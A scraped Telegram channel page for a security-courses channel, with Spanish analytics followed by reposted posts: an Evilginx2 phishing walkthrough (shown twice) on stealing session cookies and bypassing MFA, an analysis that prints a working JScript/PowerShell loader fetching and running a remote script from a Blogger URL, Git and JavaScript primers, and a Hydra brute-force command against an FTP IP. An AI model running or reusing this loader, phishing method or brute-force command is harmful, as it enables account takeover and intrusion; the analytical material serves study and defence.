All Security Engineering Courses
This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!
Mostrar más📈 Análisis del canal de Telegram All Security Engineering Courses
El canal All Security Engineering Courses (@allsecurityengineeringcourses) en el segmento lingüístico de Inglés es un actor destacado. Actualmente la comunidad reúne a 19 213 suscriptores, ocupando la posición 6 651 en la categoría Tecnologías y Aplicaciones y el puesto 34 103 en la región Rusia.
📊 Métricas de audiencia y dinámica
Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 19 213 suscriptores.
Según los últimos datos del 17 septiembre, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de 108, y en las últimas 24 horas de 2, conservando un alto alcance.
- Estado de verificación: No verificado
- Tasa de interacción (ER): El promedio de interacción de la audiencia es 16.36%. Durante las primeras 24 horas tras publicar, el contenido suele obtener N/A% de reacciones respecto al total de suscriptores.
- Alcance de las publicaciones: Cada publicación recibe en promedio 0 visualizaciones. En el primer día suele acumular 0 visualizaciones.
- Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 0.
- Intereses temáticos: El contenido se centra en temas clave como git, strace, github, linux, docker.
📝 Descripción y política de contenido
El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...”
Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 18 septiembre, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.
https://login.fakemicrosoft.com . The victim's browser sends a request to the Evilginx2 server, thinking it is the login page.
2. The Proxy Request (Step 2) 📶: Instead of serving a fake static page, the Evilginx2 server silently forwards that request to the real Microsoft login URL (https://login.microsoftonline.com).
3. Fetching the Real Site (Step 3) ™️🌐 : Microsoft's server receives the request. Thinking it's a normal user, it responds by sending the code for the actual login page back to the Evilginx2 server.
4. Displaying the Trap (Step 4) 🔼🔽: Evilginx2 takes that real login page and serves it to the victim.
Crucial Detail: The victim sees the exact real login page because it is the real code, just served from the wrong domain (fakemicrosoft.com).
5. The Interception (Step 5) 💻 : The victim enters their username and password. These credentials are sent to the Evilginx2 server first, not Microsoft. The attacker now captures the password.
6. The Relay (Step 6)👊 : Evilginx2 immediately uses those stolen credentials to log in to the real Microsoft server on the backend.
Note: If MFA (2FA) were required, Evilginx would prompt the user for the code here, capture it, and relay that too (this is the "Real-Time" aspect).
7. The Theft (Step 7 - The "Gold") ✅™️ : Microsoft accepts the valid credentials and replies with a Session Cookie (the digital token that proves you are logged in). Evilginx2 captures and saves this cookie.
This is the main goal. With this cookie, the attacker can open their own browser, inject the cookie, and access the victim's account without needing the password or MFA again.
8. The Clean Exit (Step 8) 💻🏃♂️ : To avoid raising suspicion, Evilginx2 finally redirects the victim to a totally different website (or the actual Microsoft dashboard). The victim thinks they just logged in normally, or perhaps that the page glitched, while the attacker now has full access to the account.https://login.fakemicrosoft.com . The victim's browser sends a request to the Evilginx2 server, thinking it is the login page.
2. The Proxy Request (Step 2) 📶: Instead of serving a fake static page, the Evilginx2 server silently forwards that request to the real Microsoft login URL (https://login.microsoftonline.com).
3. Fetching the Real Site (Step 3) ™️🌐 : Microsoft's server receives the request. Thinking it's a normal user, it responds by sending the code for the actual login page back to the Evilginx2 server.
4. Displaying the Trap (Step 4) 🔼🔽: Evilginx2 takes that real login page and serves it to the victim.
Crucial Detail: The victim sees the exact real login page because it is the real code, just served from the wrong domain (fakemicrosoft.com).
5. The Interception (Step 5) 💻 : The victim enters their username and password. These credentials are sent to the Evilginx2 server first, not Microsoft. The attacker now captures the password.
6. The Relay (Step 6)👊 : Evilginx2 immediately uses those stolen credentials to log in to the real Microsoft server on the backend.
Note: If MFA (2FA) were required, Evilginx would prompt the user for the code here, capture it, and relay that too (this is the "Real-Time" aspect).
7. The Theft (Step 7 - The "Gold") ✅™️ : Microsoft accepts the valid credentials and replies with a Session Cookie (the digital token that proves you are logged in). Evilginx2 captures and saves this cookie.
This is the main goal. With this cookie, the attacker can open their own browser, inject the cookie, and access the victim's account without needing the password or MFA again.
8. The Clean Exit (Step 8) 💻🏃♂️ : To avoid raising suspicion, Evilginx2 finally redirects the victim to a totally different website (or the actual Microsoft dashboard). The victim thinks they just logged in normally, or perhaps that the page glitched, while the attacker now has full access to the account.ghi = new ActiveXObject('Shell.Application');
ghi['ShellExecute']("powershell", '-ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://decjan2026.blogspot.com/////////nipoli.pdf); Start-Sleep -Seconds 17', "", "open", 0);
🔎 Step-by-Step What It Does:
1️⃣Creates Shell.Application COM Object:
▶️new ActiveXObject('Shell.Application') → Instantiates the Windows Shell COM object (progid: Shell.Application).
▶️This is a legitimate object for file operations, but abused here for silent process creation.
2️⃣Obfuscated ShellExecute Call:
▶️Uses bracket notation ['ShellExecute'] instead of dot (minor obfuscation to evade simple string scans).
▶️Launches PowerShell with:
▶️-ep Bypass: Sets ExecutionPolicy to Bypass (ignores script signing restrictions).
▶️-c: Command mode.
3️⃣Inside the PowerShell Command:
▶️Forces TLS 1.2 for downloads: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
▶️Ensures compatibility with modern HTTPS sites (bypasses older protocol blocks).
▶️ Downloads & Executes Remote Script:
▶️Invoke-Expression (Invoke-RestMethod https://decjan2026.blogspot.com/////////nipoli.pdf)
▶️ Alias: IEX (IRM ...)
▶️ Fetches content from that Blogger URL (masquerading as a ".pdf" to look innocent) and executes it directly in memory.
▶️ Extra slashes (/////////) are ignored by HTTP — classic URL padding to evade filters.
▶️Start-Sleep -Seconds 17: Delays 17 seconds (likely to evade timed sandbox detection or give payload time to run).
4️⃣ Execution Flags:
▶️Window style 0: Runs PowerShell completely hidden (no visible window).
▶️Verb "open": Standard launch.
🧠 Why This Is Sneaky (2025 Context):
▶️Fileless & Silent: No disk writes initially — downloads straight to memory via IRM + IEX.
▶️Legacy Abuse: ActiveXObject + ShellExecute is ancient (IE-era JScript/WScript), but still works in hta/js/vbs dropped via phishing.
▶️PDF Lure: Filename "nipoli.pdf" tricks users/filters into thinking it's a harmless document.
💡 Pro Tip:
This works because many orgs still allow WSH/JScript execution. Disable Windows Script Host via GPO if possible, or use AppLocker/Script Block Logging.git --version # Check if Git is installed
git config --global user.name "Your Name"
git config --global user.email "you@example.com"
3️⃣ Initialize a Repository
git init # Start a new local Git repo 🚀
4️⃣ Basic Workflow
git add . # Stage all changes ➕
git commit -m "Message" # Save a snapshot 💾
git push # Push to remote (like GitHub) ☁️
5️⃣ Check Status & History
git status # See current changes 🚦
git log # View commit history 📜
6️⃣ Clone a Repo
git clone https://github.com/username/repo.git 👯
7️⃣ Branching
git branch feature-x # Create a branch 🌳
git checkout feature-x # Switch to it ↔️
git merge feature-x # Merge with main branch 🤝
8️⃣ Undo Mistakes ↩️
git checkout -- file.txt # Discard changes
git reset HEAD~1 # Undo last commit (local)
git revert <commit_id> # Revert commit (safe)
9️⃣ Working with GitHub
– Create repo on GitHub ✨
– Link local repo:
git remote add origin <repo_url>
git push -u origin main
🔟 Git Best Practices
– Commit often with clear messages ✅
– Use branches for features/bugs 💡
– Pull before push 🔄
– Never commit sensitive data 🔒
💡 Tip: Use GitHub Desktop or VS Code Git UI if CLI feels hard at first.
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let count = 0;
return function inner() {
count++;
console.log(count);
};
}
const counter = outer();
counter(); // 1
counter(); // 2
2️⃣ Promises & Async/Await
Promises handle async operations; async/await makes them read like sync code. Essential for APIs, timers, and non-blocking I/O.
// Promise chain
fetch(url).then(res => res.json()).then(data => console.log(data)).catch(err => console.error(err));
// Async/Await (cleaner)
async function getData() {
try {
const res = await fetch(url);
const data = await res.json();
console.log(data);
} catch (err) {
console.error(err);
}
}
3️⃣ Hoisting
Declarations (var, function) are moved to the top of their scope during compilation, but initializations stay put. let/const are block-hoisted but in a "temporal dead zone."
console.log(x); // undefined (hoisted, but not initialized)
var x = 5;
console.log(y); // ReferenceError (temporal dead zone)
let y = 10;
4️⃣ The Event Loop
JS is single-threaded; the event loop processes the call stack, then microtasks (Promises), then macrotasks (setTimeout). Explains why async code doesn't block.
5️⃣ this Keyword
Dynamic binding: refers to the object calling the method. Changes with call site, new, or explicit binding.
const obj = {
name: "Sam",
greet() {
console.log(`Hi, I'm ${this.name}`);
},
};
obj.greet(); // "Hi, I'm Sam"
// In arrow function, this is lexical
const arrowGreet = () => console.log(this.name); // undefined in global
6️⃣ Spread & Rest Operators
Spread (...) expands iterables; rest collects arguments into arrays.
const nums = [1, 2, 3];
const more = [...nums, 4]; // [1, 2, 3, 4]
function sum(...args) {
return args.reduce((a, b) => a + b, 0);
}
sum(1, 2, 3); // 6
7️⃣ Destructuring
Extract values from arrays/objects into variables.
const person = { name: "John", age: 30 };
const { name, age } = person; // name = "John", age = 30
const arr = [1, 2, 3];
const [first, second] = arr; // first = 1, second = 2
8️⃣ Call, Apply, Bind
Explicitly set 'this' context. Call/apply invoke immediately; bind returns a new function.
function greet() {
console.log(`Hi, I'm ${this.name}`);
}
greet.call({ name: "Tom" }); // "Hi, I'm Tom"
const boundGreet = greet.bind({ name: "Alice" });
boundGreet(); // "Hi, I'm Alice"
9️⃣ IIFE (Immediately Invoked Function Expression)
Self-executing function to create private scope, avoiding globals.
(function() {
console.log("Runs immediately");
let privateVar = "hidden";
})();
🔟 Modules (import/export)
ES6 modules for code organization and dependency management.
// math.js
export const add = (a, b) => a + b;
export default function multiply(a, b) { return a * b; }
// main.js
import multiply, { add } from './math.js';
console.log(add(2, 3)); // 5
💡 Practice these in a Node.js REPL or browser console to see how they interact.
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.\hydra.exe -l user -P .\rockyou.txt ftp://128.127.71.241
ftp is your ip, and you can use random wordlists, i put rockyou.txt into your folder because thats a big list.
If you want to download some specified wordlists/dictionarys:
http://ftp.cerias.purdue.edu/pub/dict/
https://www.outpost9.com/files/wordlists/